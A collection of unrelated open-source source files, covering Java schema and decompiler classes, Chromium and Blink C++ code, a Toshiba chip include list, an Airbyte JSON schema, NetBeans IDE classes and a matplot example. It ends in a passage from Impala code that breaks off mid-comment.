package com.gentics.mesh.core.data.schema.impl; import static com.gentics.mesh.core.rest.error.Errors.error; import static com.gentics.mesh.core.rest.schema.change.impl.SchemaChangeModel.ELASTICSEARCH_KEY; import static io.netty.handler.codec.http.HttpResponseStatus.BAD_REQUEST; import java.util.Collections; import java.util.HashMap; import java.util.Map; import com.gentics.madl.index.IndexHandler; import com.gentics.madl.type.TypeHandler; import com.gentics.mesh.context.BulkActionContext; import com.gentics.mesh.core.data.generic.MeshVertexImpl; import com.gentics.mesh.core.data.schema.UpdateFieldChange; import com.gentics.mesh.core.rest.common.FieldContainer; import com.gentics.mesh.core.rest.node.field.Field; import com.gentics.mesh.core.rest.schema.FieldSchema; import com.gentics.mesh.core.rest.schema.FieldSchemaContainer; import com.gentics.mesh.core.rest.schema.change.impl.SchemaChangeModel; import com.gentics.mesh.core.rest.schema.change.impl.SchemaChangeOperation; /** * @see UpdateFieldChange */ public class UpdateFieldChangeImpl extends AbstractSchemaFieldChange implements UpdateFieldChange { /** * Initialize the vertex type and index. * * @param type * @param index */ public static void init(TypeHandler type, IndexHandler index) { type.createVertexType(UpdateFieldChangeImpl.class, MeshVertexImpl.class); } @Override public SchemaChangeOperation getOperation() { return OPERATION; } @Override public String getLabel() { return getRestProperty(SchemaChangeModel.LABEL_KEY); } @Override public void setLabel(String label) { setRestProperty(SchemaChangeModel.LABEL_KEY, label); } @Override public void setRestProperty(String key, Object value) { // What a restriction removal request comes from the REST API, // it gives null instead of an empty array, so the request // gets eventually lost. In this case we give the empty array back. if (SchemaChangeModel.ALLOW_KEY.equals(key) && value == null) { value = new String[0]; } super.setRestProperty(key, value); } @Override public FieldSchemaContainer apply(FieldSchemaContainer container) { FieldSchema fieldSchema = container.getField(getFieldName()); if (fieldSchema == null) { throw error(BAD_REQUEST, "schema_error_change_field_not_found", getFieldName(), container.getName(), getUuid()); } // Remove prefix from map keys Map<String, Object> properties = new HashMap<>(); for (String key : getRestProperties().keySet()) { Object value = getRestProperties().get(key); key = key.replace(REST_PROPERTY_PREFIX_KEY, ""); properties.put(key, value); } fieldSchema.apply(properties); return container; } @Override public void updateFromRest(SchemaChangeModel restChange) { /*** * Many graph databases can't handle null values. Tinkerpop blueprint contains constrains which avoid setting null values. We store empty string for the * segment field name instead. It is possible to set setStandardElementConstraints for each tx to false in order to avoid such checks. */ if (restChange.getProperties().containsKey(ELASTICSEARCH_KEY) && restChange.getProperty(ELASTICSEARCH_KEY) == null) { restChange.setProperty(ELASTICSEARCH_KEY, "{}"); } super.updateFromRest(restChange); } @Override public Map<String, Field> createFields(FieldSchemaContainer oldSchema, FieldContainer oldContent) { String oldFieldName = getFieldName(); String newFieldName = getRestProperty(SchemaChangeModel.NAME_KEY); if (oldFieldName != null && newFieldName != null) { FieldSchema fieldSchema = oldSchema.getField(oldFieldName); Field field = oldContent.getFields().getField(oldFieldName, fieldSchema); return Collections.singletonMap(newFieldName, field); } else { return Collections.emptyMap(); } } @Override public void delete(BulkActionContext bac) { getElement().remove(); } }
1,272
2,151
// Copyright (c) 2013 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef PPAPI_THUNK_PPB_VIDEO_DESTINATION_PRIVATE_API_H_ #define PPAPI_THUNK_PPB_VIDEO_DESTINATION_PRIVATE_API_H_ #include <stdint.h> #include "base/memory/ref_counted.h" #include "ppapi/thunk/ppapi_thunk_export.h" struct PP_VideoFrame_Private; namespace ppapi { class TrackedCallback; namespace thunk { class PPAPI_THUNK_EXPORT PPB_VideoDestination_Private_API { public: virtual ~PPB_VideoDestination_Private_API() {} virtual int32_t Open(const PP_Var& stream_url, scoped_refptr<TrackedCallback> callback) = 0; virtual int32_t PutFrame(const PP_VideoFrame_Private& frame) = 0; virtual void Close() = 0; }; } // namespace thunk } // namespace ppapi #endif // PPAPI_THUNK_PPB_VIDEO_DESTINATION_PRIVATE_API_H_
358
376
<filename>Lib/Chip/M368.hpp #pragma once #include <Chip/Unknown/Toshiba/M368/CANMB0.hpp> #include <Chip/Unknown/Toshiba/M368/CANMB1.hpp> #include <Chip/Unknown/Toshiba/M368/CANMB2.hpp> #include <Chip/Unknown/Toshiba/M368/CANMB3.hpp> #include <Chip/Unknown/Toshiba/M368/CANMB4.hpp> #include <Chip/Unknown/Toshiba/M368/CANMB5.hpp> #include <Chip/Unknown/Toshiba/M368/CANMB6.hpp> #include <Chip/Unknown/Toshiba/M368/CANMB7.hpp> #include <Chip/Unknown/Toshiba/M368/CANMB8.hpp> #include <Chip/Unknown/Toshiba/M368/CANMB9.hpp> #include <Chip/Unknown/Toshiba/M368/CANMB10.hpp> #include <Chip/Unknown/Toshiba/M368/CANMB11.hpp> #include <Chip/Unknown/Toshiba/M368/CANMB12.hpp> #include <Chip/Unknown/Toshiba/M368/CANMB13.hpp> #include <Chip/Unknown/Toshiba/M368/CANMB14.hpp> #include <Chip/Unknown/Toshiba/M368/CANMB15.hpp> #include <Chip/Unknown/Toshiba/M368/CANMB16.hpp> #include <Chip/Unknown/Toshiba/M368/CANMB17.hpp> #include <Chip/Unknown/Toshiba/M368/CANMB18.hpp> #include <Chip/Unknown/Toshiba/M368/CANMB19.hpp> #include <Chip/Unknown/Toshiba/M368/CANMB20.hpp> #include <Chip/Unknown/Toshiba/M368/CANMB21.hpp> #include <Chip/Unknown/Toshiba/M368/CANMB22.hpp> #include <Chip/Unknown/Toshiba/M368/CANMB23.hpp> #include <Chip/Unknown/Toshiba/M368/CANMB24.hpp> #include <Chip/Unknown/Toshiba/M368/CANMB25.hpp> #include <Chip/Unknown/Toshiba/M368/CANMB26.hpp> #include <Chip/Unknown/Toshiba/M368/CANMB27.hpp> #include <Chip/Unknown/Toshiba/M368/CANMB28.hpp> #include <Chip/Unknown/Toshiba/M368/CANMB29.hpp> #include <Chip/Unknown/Toshiba/M368/CANMB30.hpp> #include <Chip/Unknown/Toshiba/M368/CANMB31.hpp> #include <Chip/Unknown/Toshiba/M368/CAN.hpp> #include <Chip/Unknown/Toshiba/M368/HC.hpp> #include <Chip/Unknown/Toshiba/M368/UDFS.hpp> #include <Chip/Unknown/Toshiba/M368/UDFS2.hpp> #include <Chip/Unknown/Toshiba/M368/SSP0.hpp> #include <Chip/Unknown/Toshiba/M368/SSP1.hpp> #include <Chip/Unknown/Toshiba/M368/SSP2.hpp> #include <Chip/Unknown/Toshiba/M368/UART4.hpp> #include <Chip/Unknown/Toshiba/M368/UART5.hpp> #include <Chip/Unknown/Toshiba/M368/DMAA.hpp> #include <Chip/Unknown/Toshiba/M368/DMAB.hpp> #include <Chip/Unknown/Toshiba/M368/ADA.hpp> #include <Chip/Unknown/Toshiba/M368/ADB.hpp> #include <Chip/Unknown/Toshiba/M368/ADILV.hpp> #include <Chip/Unknown/Toshiba/M368/DA0.hpp> #include <Chip/Unknown/Toshiba/M368/DA1.hpp> #include <Chip/Unknown/Toshiba/M368/EXB.hpp> #include <Chip/Unknown/Toshiba/M368/PA.hpp> #include <Chip/Unknown/Toshiba/M368/PB.hpp> #include <Chip/Unknown/Toshiba/M368/PE.hpp> #include <Chip/Unknown/Toshiba/M368/PF.hpp> #include <Chip/Unknown/Toshiba/M368/PG.hpp> #include <Chip/Unknown/Toshiba/M368/PH.hpp> #include <Chip/Unknown/Toshiba/M368/PI.hpp> #include <Chip/Unknown/Toshiba/M368/PK.hpp> #include <Chip/Unknown/Toshiba/M368/PL.hpp> #include <Chip/Unknown/Toshiba/M368/TB0.hpp> #include <Chip/Unknown/Toshiba/M368/TB1.hpp> #include <Chip/Unknown/Toshiba/M368/TB2.hpp> #include <Chip/Unknown/Toshiba/M368/TB3.hpp> #include <Chip/Unknown/Toshiba/M368/TB4.hpp> #include <Chip/Unknown/Toshiba/M368/TB5.hpp> #include <Chip/Unknown/Toshiba/M368/TB6.hpp> #include <Chip/Unknown/Toshiba/M368/TB7.hpp> #include <Chip/Unknown/Toshiba/M368/MT0.hpp> #include <Chip/Unknown/Toshiba/M368/MT1.hpp> #include <Chip/Unknown/Toshiba/M368/MT2.hpp> #include <Chip/Unknown/Toshiba/M368/MT3.hpp> #include <Chip/Unknown/Toshiba/M368/RTC.hpp> #include <Chip/Unknown/Toshiba/M368/SBI0.hpp> #include <Chip/Unknown/Toshiba/M368/SBI1.hpp> #include <Chip/Unknown/Toshiba/M368/SBI2.hpp> #include <Chip/Unknown/Toshiba/M368/SC0.hpp> #include <Chip/Unknown/Toshiba/M368/SC1.hpp> #include <Chip/Unknown/Toshiba/M368/SC2.hpp> #include <Chip/Unknown/Toshiba/M368/SC3.hpp> #include <Chip/Unknown/Toshiba/M368/RMC.hpp> #include <Chip/Unknown/Toshiba/M368/OFD.hpp> #include <Chip/Unknown/Toshiba/M368/WD.hpp> #include <Chip/Unknown/Toshiba/M368/CG.hpp> #include <Chip/Unknown/Toshiba/M368/USBPLL.hpp> #include <Chip/Unknown/Toshiba/M368/TRMOSC.hpp> #include <Chip/Unknown/Toshiba/M368/LVD.hpp> #include <Chip/Unknown/Toshiba/M368/MTPD.hpp> #include <Chip/Unknown/Toshiba/M368/EN.hpp> #include <Chip/Unknown/Toshiba/M368/FC.hpp>
1,900
2,151
/** * Copyright (C) 2006, 2007, 2010 Apple Inc. All rights reserved. * (C) 2008 Torch Mobile Inc. All rights reserved. * (http://www.torchmobile.com/) * Copyright (C) 2010 Google Inc. All rights reserved. * Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Library General Public * License as published by the Free Software Foundation; either * version 2 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Library General Public License for more details. * * You should have received a copy of the GNU Library General Public License * along with this library; see the file COPYING.LIB. If not, write to * the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, * Boston, MA 02110-1301, USA. * */ #include "third_party/blink/renderer/core/layout/layout_search_field.h" #include "third_party/blink/renderer/core/dom/shadow_root.h" #include "third_party/blink/renderer/core/html/forms/html_input_element.h" #include "third_party/blink/renderer/core/html/shadow/shadow_element_names.h" #include "third_party/blink/renderer/core/input_type_names.h" namespace blink { using namespace HTMLNames; // ---------------------------- LayoutSearchField::LayoutSearchField(HTMLInputElement* element) : LayoutTextControlSingleLine(element) { DCHECK_EQ(element->type(), InputTypeNames::search); } LayoutSearchField::~LayoutSearchField() = default; inline Element* LayoutSearchField::SearchDecorationElement() const { return InputElement()->UserAgentShadowRoot()->getElementById( ShadowElementNames::SearchDecoration()); } inline Element* LayoutSearchField::CancelButtonElement() const { return InputElement()->UserAgentShadowRoot()->getElementById( ShadowElementNames::ClearButton()); } LayoutUnit LayoutSearchField::ComputeControlLogicalHeight( LayoutUnit line_height, LayoutUnit non_content_height) const { Element* search_decoration = SearchDecorationElement(); if (LayoutBox* decoration_layout_object = search_decoration ? search_decoration->GetLayoutBox() : nullptr) { decoration_layout_object->UpdateLogicalHeight(); non_content_height = max(non_content_height, decoration_layout_object->BorderAndPaddingLogicalHeight() + decoration_layout_object->MarginLogicalHeight()); line_height = max(line_height, decoration_layout_object->LogicalHeight()); } Element* cancel_button = CancelButtonElement(); if (LayoutBox* cancel_layout_object = cancel_button ? cancel_button->GetLayoutBox() : nullptr) { cancel_layout_object->UpdateLogicalHeight(); non_content_height = max(non_content_height, cancel_layout_object->BorderAndPaddingLogicalHeight() + cancel_layout_object->MarginLogicalHeight()); line_height = max(line_height, cancel_layout_object->LogicalHeight()); } return line_height + non_content_height; } } // namespace blink
1,024
6,215
<filename>airbyte-integrations/connectors/source-jira/source_jira/schemas/issue_field_configurations.json { "$schema": "http://json-schema.org/draft-07/schema#", "type": "object", "properties": { "id": { "type": "integer", "description": "The ID of the field configuration.", "format": "int64" }, "name": { "type": "string", "description": "The name of the field configuration." }, "description": { "type": "string", "description": "The description of the field configuration." }, "isDefault": { "type": "boolean", "description": "Whether the field configuration is the default." } }, "additionalProperties": false, "description": "Details of a field configuration." }
286
1,056
<filename>enterprise/websvc.design/src/org/netbeans/modules/websvc/design/view/actions/RemoveOperationAction.java /* * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ /* * RemoveOperationAction.java * * Created on April 6, 2007, 10:25 AM * * To change this template, choose Tools | Template Manager * and open the template in the editor. */ package org.netbeans.modules.websvc.design.view.actions; import java.awt.event.ActionEvent; import java.io.IOException; import java.util.Set; import javax.swing.AbstractAction; import org.netbeans.api.java.classpath.ClassPath; import org.netbeans.api.java.project.JavaProjectConstants; import org.netbeans.api.progress.ProgressHandle; import org.netbeans.api.progress.ProgressHandleFactory; import org.netbeans.api.project.FileOwnerQuery; import org.netbeans.api.project.Project; import org.netbeans.api.project.ProjectUtils; import org.netbeans.api.project.SourceGroup; import org.netbeans.modules.websvc.api.jaxws.project.config.Service; import org.netbeans.modules.websvc.core.MethodGenerator; import org.netbeans.modules.websvc.design.javamodel.MethodModel; import org.netbeans.modules.websvc.design.javamodel.ProjectService; import org.openide.DialogDisplayer; import org.openide.ErrorManager; import org.openide.NotifyDescriptor; import org.openide.cookies.SaveCookie; import org.openide.filesystems.FileObject; import org.openide.loaders.DataObject; import org.openide.util.NbBundle; import org.openide.util.RequestProcessor; import org.openide.util.Task; /** * * @author rico */ public class RemoveOperationAction extends AbstractAction{ private Set<MethodModel> methods; private ProjectService service; /** Creates a new instance of RemoveOperationAction */ public RemoveOperationAction(ProjectService service) { super(getName()); putValue(SHORT_DESCRIPTION, NbBundle.getMessage(RemoveOperationAction.class, "Hint_RemoveOperation")); putValue(MNEMONIC_KEY, Integer.valueOf(NbBundle.getMessage(AddOperationAction.class, "LBL_RemoveOperation_mnem_pos"))); this.service = service; setEnabled(false); } public void setWorkingSet(Set<MethodModel> methods) { this.methods = methods; setEnabled(service.getWsdlUrl() == null && methods!=null && !methods.isEmpty()); } public void actionPerformed(ActionEvent arg0) { if(methods.size()<1) return; boolean singleSelection = methods.size()==1; String methodName = singleSelection?methods.iterator().next().getOperationName():""+methods.size(); NotifyDescriptor desc = new NotifyDescriptor.Confirmation (NbBundle.getMessage(RemoveOperationAction.class, (singleSelection?"MSG_OPERATION_DELETE":"MSG_OPERATIONS_DELETE"), methodName)); Object retVal = DialogDisplayer.getDefault().notify(desc); if (retVal == NotifyDescriptor.YES_OPTION) { final ProgressHandle handle = ProgressHandleFactory.createHandle(NbBundle. getMessage(RemoveOperationAction.class, (singleSelection?"MSG_RemoveOperation":"MSG_RemoveOperations"), methodName)); //NOI18N Task task = new Task(new Runnable() { public void run() { handle.start(); try{ removeOperation(methods); }catch(IOException e){ handle.finish(); ErrorManager.getDefault().notify(e); } finally{ handle.finish(); } }}); RequestProcessor.getDefault().post(task); } } private void removeOperation(Set<MethodModel> methods) throws IOException { for(MethodModel method:methods) { String methodName = method.getOperationName(); FileObject implementationClass = getImplementationClass(method); //WS from Java MethodGenerator.deleteMethod(implementationClass, methodName); //save the changes so events will be fired DataObject dobj = DataObject.find(implementationClass); if(dobj.isModified()) { SaveCookie cookie = dobj.getCookie(SaveCookie.class); if(cookie!=null) cookie.save(); } } } private static String getName() { return NbBundle.getMessage(RemoveOperationAction.class, "LBL_RemoveOperation"); } private FileObject getImplementationClass(MethodModel method){ FileObject implementationClass= null; FileObject classFO = method.getImplementationClass(); String implClassName = service.getImplementationClass(); if(service.getLocalWsdlFile() != null){ Project project = FileOwnerQuery.getOwner(classFO); SourceGroup[] sgs = ProjectUtils.getSources(project).getSourceGroups(JavaProjectConstants.SOURCES_TYPE_JAVA); if(sgs.length > 0){ ClassPath classPath = null; for(int i = 0; i < sgs.length; i++){ classPath = ClassPath.getClassPath(sgs[i].getRootFolder(),ClassPath.SOURCE); if(classPath != null){ implementationClass = classPath.findResource(implClassName.replace('.', '/') + ".java"); if(implementationClass != null){ break; } } } } }else{ implementationClass = classFO; } return implementationClass; } }
2,524
1,056
<reponame>Antholoj/netbeans /* * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ package org.netbeans.spi.project.ui.support; import java.util.List; import javax.swing.event.ChangeListener; import org.openide.nodes.Node; /** * Represents a series of nodes which can be spliced into a children list. * @param K the type of key you would like to use to represent nodes * @author mkleint * @since org.netbeans.modules.projectuiapi/1 1.18 * @see NodeFactory * @see NodeFactorySupport * @see org.openide.nodes.Children.Keys */ public interface NodeList<K> { /** * Obtains child keys which will be passed to {@link #node}. * If there is a change in the set of keys based on external events, * fire a <code>ChangeEvent</code>. * @return list of zero or more keys to display */ List<K> keys(); /** * Adds a listener to a change in keys. * @param l a listener to add */ void addChangeListener(ChangeListener l); /** * Removes a change listener. * @param l a listener to remove */ void removeChangeListener(ChangeListener l); /** * Creates a node for a given key. * @param key a key which was included in {@link #keys} * @return a node which should represent that key visually or null if no such node can be created currently. */ Node node(K key); /** * Called when the node list is to be active. Equivalent to {@link org.openide.nodes.Children#addNotify}. * If there is any need to register listeners or begin caching of state, do it here. * @see org.openide.nodes.Children#addNotify */ void addNotify(); /** * Called when the node list is no longer needed. Equivalent to {@link org.openide.nodes.Children#removeNotify}. * @see org.openide.nodes.Children#removeNotify */ void removeNotify(); }
822
2,709
#include <cmath> #include <matplot/matplot.h> std::vector<std::pair<size_t, size_t>> get_edges(); int main() { using namespace matplot; std::vector<std::pair<size_t, size_t>> edges = { {0, 1}, {0, 2}, {0, 3}, {0, 4}, {1, 5}, {1, 6}, {1, 7}, {1, 8}, {1, 9}, {1, 10}, {1, 11}, {1, 12}, {1, 13}, {1, 14}, {14, 15}, {14, 16}, {14, 17}, {14, 18}, {14, 19}}; digraph(edges); show(); return 0; }
241
1,234
<gh_stars>1000+ package org.benf.cfr.reader.bytecode.analysis.parse.expression; import org.benf.cfr.reader.bytecode.analysis.loc.BytecodeLoc; import org.benf.cfr.reader.bytecode.analysis.opgraph.op4rewriters.PrimitiveBoxingRewriter; import org.benf.cfr.reader.bytecode.analysis.parse.Expression; import org.benf.cfr.reader.bytecode.analysis.parse.LValue; import org.benf.cfr.reader.bytecode.analysis.parse.StatementContainer; import org.benf.cfr.reader.bytecode.analysis.parse.expression.misc.Precedence; import org.benf.cfr.reader.bytecode.analysis.parse.expression.rewriteinterface.BoxingProcessor; import org.benf.cfr.reader.bytecode.analysis.parse.literal.TypedLiteral; import org.benf.cfr.reader.bytecode.analysis.parse.rewriters.CloneHelper; import org.benf.cfr.reader.bytecode.analysis.parse.rewriters.ExpressionRewriter; import org.benf.cfr.reader.bytecode.analysis.parse.rewriters.ExpressionRewriterFlags; import org.benf.cfr.reader.bytecode.analysis.parse.utils.*; import org.benf.cfr.reader.bytecode.analysis.types.JavaTypeInstance; import org.benf.cfr.reader.bytecode.analysis.types.RawJavaType; import org.benf.cfr.reader.bytecode.analysis.types.StackType; import org.benf.cfr.reader.bytecode.analysis.types.discovery.InferredJavaType; import org.benf.cfr.reader.entities.exceptions.ExceptionCheck; import org.benf.cfr.reader.state.TypeUsageCollector; import org.benf.cfr.reader.util.ConfusedCFRException; import org.benf.cfr.reader.util.Troolean; import org.benf.cfr.reader.util.collections.SetFactory; import org.benf.cfr.reader.util.output.Dumper; import java.util.Map; import java.util.Set; public class ComparisonOperation extends AbstractExpression implements ConditionalExpression, BoxingProcessor { private Expression lhs; private Expression rhs; private final CompOp op; private final boolean canNegate; public ComparisonOperation(BytecodeLoc loc, Expression lhs, Expression rhs, CompOp op) { this(loc, lhs, rhs, op, true); } public ComparisonOperation(BytecodeLoc loc, Expression lhs, Expression rhs, CompOp op, boolean canNegate) { super(loc, new InferredJavaType(RawJavaType.BOOLEAN, InferredJavaType.Source.EXPRESSION)); this.canNegate = canNegate; this.lhs = lhs; this.rhs = rhs; /* * RE: Integral types. * * If we're comparing two non literals, we can't really tell anything. In fact, we should * use the widest type (if appropriate). * * If one is a literal, we can see if that literal supports conversion to the type we've guessed * for the lhs. If so, we can tighten that literal. * * i.e. * * int x = .. * if (x == 97) * * vs * * char x = .. (creates a KNOWN char type, i.e. string.charAt) * if (x == 'a') .... comparison in both types will be the same... * * but if we've incorrectly guessed the literal as a narrower type before (eg boolean), we need to * bring it back up to the other type. */ /* * If both have derived their typing from literals (i.e. TypeTest10), we can't decide purely from typing * which is the 'better' type. In this case, make use of additional hints. */ boolean lLiteral = lhs instanceof Literal; boolean rLiteral = rhs instanceof Literal; InferredJavaType.compareAsWithoutCasting(lhs.getInferredJavaType(), rhs.getInferredJavaType(), lLiteral, rLiteral); this.op = op; } @Override public Expression deepClone(CloneHelper cloneHelper) { return new ComparisonOperation(getLoc(), cloneHelper.replaceOrClone(lhs), cloneHelper.replaceOrClone(rhs), op, canNegate); } @Override public BytecodeLoc getCombinedLoc() { return BytecodeLoc.combine(this, lhs, rhs); } @Override public void collectTypeUsages(TypeUsageCollector collector) { lhs.collectTypeUsages(collector); rhs.collectTypeUsages(collector); } @Override public int getSize(Precedence outerPrecedence) { return 3; } @Override public Precedence getPrecedence() { return op.getPrecedence(); } @Override public Dumper dumpInner(Dumper d) { lhs.dumpWithOuterPrecedence(d, getPrecedence(), Troolean.TRUE); d.print(" ").operator(op.getShowAs()).print(" "); rhs.dumpWithOuterPrecedence(d, getPrecedence(), Troolean.FALSE); return d; } @Override public Expression replaceSingleUsageLValues(LValueRewriter lValueRewriter, SSAIdentifiers ssaIdentifiers, StatementContainer statementContainer) { if (lValueRewriter.needLR()) { lhs = lhs.replaceSingleUsageLValues(lValueRewriter, ssaIdentifiers, statementContainer); rhs = rhs.replaceSingleUsageLValues(lValueRewriter, ssaIdentifiers, statementContainer); } else { rhs = rhs.replaceSingleUsageLValues(lValueRewriter, ssaIdentifiers, statementContainer); lhs = lhs.replaceSingleUsageLValues(lValueRewriter, ssaIdentifiers, statementContainer); } /* * TODO: This should be rewritten in terms of an expressionRewriter. */ if (lhs.canPushDownInto()) { if (rhs.canPushDownInto()) throw new ConfusedCFRException("2 sides of a comparison support pushdown?"); Expression res = lhs.pushDown(rhs, this); if (res != null) return res; } else if (rhs.canPushDownInto()) { Expression res = rhs.pushDown(lhs, getNegated()); if (res != null) return res; } return this; } @Override public Expression applyExpressionRewriter(ExpressionRewriter expressionRewriter, SSAIdentifiers ssaIdentifiers, StatementContainer statementContainer, ExpressionRewriterFlags flags) { lhs = expressionRewriter.rewriteExpression(lhs, ssaIdentifiers, statementContainer, flags); rhs = expressionRewriter.rewriteExpression(rhs, ssaIdentifiers, statementContainer, flags); return this; } @Override public Expression applyReverseExpressionRewriter(ExpressionRewriter expressionRewriter, SSAIdentifiers ssaIdentifiers, StatementContainer statementContainer, ExpressionRewriterFlags flags) { rhs = expressionRewriter.rewriteExpression(rhs, ssaIdentifiers, statementContainer, flags); lhs = expressionRewriter.rewriteExpression(lhs, ssaIdentifiers, statementContainer, flags); return this; } @Override public ConditionalExpression getNegated() { if (!canNegate) { return new NotOperation(getLoc(), this); } return new ComparisonOperation(getLoc(), lhs, rhs, op.getInverted()); } public CompOp getOp() { return op; } @Override public ConditionalExpression getDemorganApplied(boolean amNegating) { if (!amNegating) return this; return getNegated(); } @Override public ConditionalExpression getRightDeep() { return this; } private void addIfLValue(Expression expression, Set<LValue> res) { if (expression instanceof LValueExpression) { res.add(((LValueExpression) expression).getLValue()); } } @Override public Set<LValue> getLoopLValues() { Set<LValue> res = SetFactory.newSet(); addIfLValue(lhs, res); addIfLValue(rhs, res); return res; } @Override public void collectUsedLValues(LValueUsageCollector lValueUsageCollector) { lhs.collectUsedLValues(lValueUsageCollector); rhs.collectUsedLValues(lValueUsageCollector); } private enum BooleanComparisonType { NOT(false), AS_IS(true), NEGATED(true); private final boolean isValid; BooleanComparisonType(boolean isValid) { this.isValid = isValid; } public boolean isValid() { return isValid; } } private static BooleanComparisonType isBooleanComparison(Expression a, Expression b, CompOp op) { switch (op) { case EQ: case NE: break; default: return BooleanComparisonType.NOT; } if (a.getInferredJavaType().getJavaTypeInstance().getRawTypeOfSimpleType() != RawJavaType.BOOLEAN) return BooleanComparisonType.NOT; if (!(b instanceof Literal)) return BooleanComparisonType.NOT; Literal literal = (Literal) b; TypedLiteral lit = literal.getValue(); if (lit.getType() != TypedLiteral.LiteralType.Integer) return BooleanComparisonType.NOT; int i = (Integer) lit.getValue(); if (i < 0 || i > 1) return BooleanComparisonType.NOT; if (op == CompOp.NE) i = 1 - i; // Can now consider op to be EQ if (i == 0) { return BooleanComparisonType.NEGATED; } else { return BooleanComparisonType.AS_IS; } } private ConditionalExpression getConditionalExpression(Expression booleanExpression, BooleanComparisonType booleanComparisonType) { ConditionalExpression res; if (booleanExpression instanceof ConditionalExpression) { res = (ConditionalExpression) booleanExpression; } else { res = new BooleanExpression(booleanExpression); } if (booleanComparisonType == BooleanComparisonType.NEGATED) res = res.getNegated(); return res; } @Override public ConditionalExpression optimiseForType() { BooleanComparisonType bct; if ((bct = isBooleanComparison(lhs, rhs, op)).isValid()) { return getConditionalExpression(lhs, bct); } else if ((bct = isBooleanComparison(rhs, lhs, op)).isValid()) { return getConditionalExpression(rhs, bct); } return this; } public Expression getLhs() { return lhs; } public Expression getRhs() { return rhs; } @Override public ConditionalExpression simplify() { return ConditionalUtils.simplify(this); } @Override public boolean rewriteBoxing(PrimitiveBoxingRewriter boxingRewriter) { switch (op) { case EQ: case NE: if (boxingRewriter.isUnboxedType(lhs)) { rhs = boxingRewriter.sugarUnboxing(rhs); return false; } if (boxingRewriter.isUnboxedType(rhs)) { lhs = boxingRewriter.sugarUnboxing(lhs); return false; } break; default: lhs = boxingRewriter.sugarUnboxing(lhs); rhs = boxingRewriter.sugarUnboxing(rhs); break; } return false; } @Override public void applyNonArgExpressionRewriter(ExpressionRewriter expressionRewriter, SSAIdentifiers ssaIdentifiers, StatementContainer statementContainer, ExpressionRewriterFlags flags) { } @Override public boolean equals(Object o) { if (o == this) return true; if (!(o instanceof ComparisonOperation)) return false; ComparisonOperation other = (ComparisonOperation) o; return op == other.op && lhs.equals(other.lhs) && rhs.equals(other.rhs); } @Override public boolean canThrow(ExceptionCheck caught) { return lhs.canThrow(caught) || rhs.canThrow(caught); } @Override public final boolean equivalentUnder(Object o, EquivalenceConstraint constraint) { if (o == null) return false; if (o == this) return true; if (getClass() != o.getClass()) return false; ComparisonOperation other = (ComparisonOperation) o; if (!constraint.equivalent(op, other.op)) return false; if (!constraint.equivalent(lhs, other.lhs)) return false; if (!constraint.equivalent(rhs, other.rhs)) return false; return true; } @Override public Literal getComputedLiteral(Map<LValue, Literal> display) { Literal lV = lhs.getComputedLiteral(display); Literal rV = rhs.getComputedLiteral(display); if (lV == null || rV == null) return null; TypedLiteral l = lV.getValue(); TypedLiteral r = rV.getValue(); switch (op) { case EQ: return l.equals(r) ? Literal.TRUE : Literal.FALSE; case NE: return l.equals(r) ? Literal.FALSE : Literal.TRUE; default: JavaTypeInstance type = l.getInferredJavaType().getJavaTypeInstance(); if (!type.equals(r.getInferredJavaType().getJavaTypeInstance())) { return null; } // TODO : If we need to explicitly perform this sort of thing much, // should split it out. if (type.getStackType() == StackType.INT) { int lv = l.getIntValue(); int rv = r.getIntValue(); switch (op) { case LT: return lv < rv ? Literal.TRUE : Literal.FALSE; case LTE: return lv <= rv ? Literal.TRUE : Literal.FALSE; case GT: return lv > rv ? Literal.TRUE : Literal.FALSE; case GTE: return lv >= rv ? Literal.TRUE : Literal.FALSE; } } // Can't handle yet. return null; } } }
5,898
746
// Licensed to the Apache Software Foundation (ASF) under one // or more contributor license agreements. See the NOTICE file // distributed with this work for additional information // regarding copyright ownership. The ASF licenses this file // to you under the Apache License, Version 2.0 (the // "License"); you may not use this file except in compliance // with the License. You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, // software distributed under the License is distributed on an // "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY // KIND, either express or implied. See the License for the // specific language governing permissions and limitations // under the License. #include "exprs/conditional-functions.h" #include "codegen/codegen-anyval.h" #include "codegen/llvm-codegen.h" #include "exprs/scalar-expr.inline.h" using namespace impala; /// Sample IR output: /// define i16 @IfExpr(%"class.impala::ScalarExprEvaluator"* %eval, /// %"class.impala::TupleRow"* %row) #47 { /// is_condition_null: /// %condition = call i16 @"impala::Operators::Gt_BigIntVal_BigIntValWrapper"( /// %"class.impala::ScalarExprEvaluator"* %eval, %"class.impala::TupleRow"* %row) /// %is_null = trunc i16 %condition to i1 /// br i1 %is_null, label %return_else, label %eval_condition /// /// eval_condition: ; preds = %is_condition_null /// %0 = ashr i16 %condition, 8 /// %1 = trunc i16 %0 to i8 /// %val = trunc i8 %1 to i1 /// br i1 %val, label %return_then, label %return_else /// /// return_then: ; preds = %eval_condition /// %then_val = call i16 @Literal.4(%"class.impala::ScalarExprEvaluator"* %eval, /// %"class.impala::TupleRow"* 